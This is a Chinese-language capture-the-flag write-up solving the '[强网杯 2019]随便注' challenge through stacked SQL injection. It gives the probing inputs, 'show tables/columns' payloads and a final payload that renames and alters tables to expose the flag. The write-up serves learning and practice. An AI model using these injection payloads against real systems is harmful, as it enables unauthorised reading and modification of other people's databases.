【学习笔记 23】 buu [强网杯 2019]随便注
0x00 知识点
1.堆叠注入
2.利用rename,alter的sql命令完成数据库操作
0x01 详解
1.什么是堆叠注入?
堆叠注入就是利用sql命令中利用“;”来做一句sql命令的结束标志,但是在“;”后的同一行里添加其他sql命令仍可以执行。
2.堆叠注入与union injection(联合注入)之间的区别?
区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
3.堆叠注入的局限性?
堆叠注入并不是在每种情况下都能使用的。大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。
0x02 解题思路
这里我们会用到堆叠注入+数据库数据重命名的方法来解题。
1.打开题目,上边只显示了一个1,点击查询一下
发现回显
2.尝试1’发现失败
尝试1’#回显正常,判断存在sql注入漏洞。
尝试用or连接测试1’ or 1=1#,发现有回显。3.接下来就利用order by来测试字段
尝试
1' order by 2#
回显正常
尝试
1' order by 3#
回显出错,可以判断之后两个字段。
4.尝试利用union,select联合查询进行查表。
1’ union select 1,database()#
直接返回一串过滤规则,说明联合注入行不通。
5.尝试构造堆叠注入。
1' ;show databases;#
成功了,并返回所有数据库名称
那接下来查完库,接着查表。
1' ;show tables;#
继续查完表继续查字段先看看words里的内容。
1' ;show columns from words;#
回显了两个字段内容
接下来同样查看 1919810931114514里的内容
1';show columns from `1919810931114514`;#
注意这里的1919810931114514这一串数字要用反单引号引住,不然会无法回显。
注意:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符
很明显可以得出一下结论,输入1,或者1‘ or 1=1#所回显的数据全部来自words这个表单,那么我们的解题思路就很明显了。
1.首先利用rename将words表的给改个名字
2.讲1919810931114514表的名字改成words
3.应为会一次回显两个字段的信息,也就是id和data,那么我们就利用alter来修改新的words表
4.最后在利用1’ or 1=1#来回显全部内容得到到结果 。
最终payload
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
最后利用,来回显结果
1' or 1=1#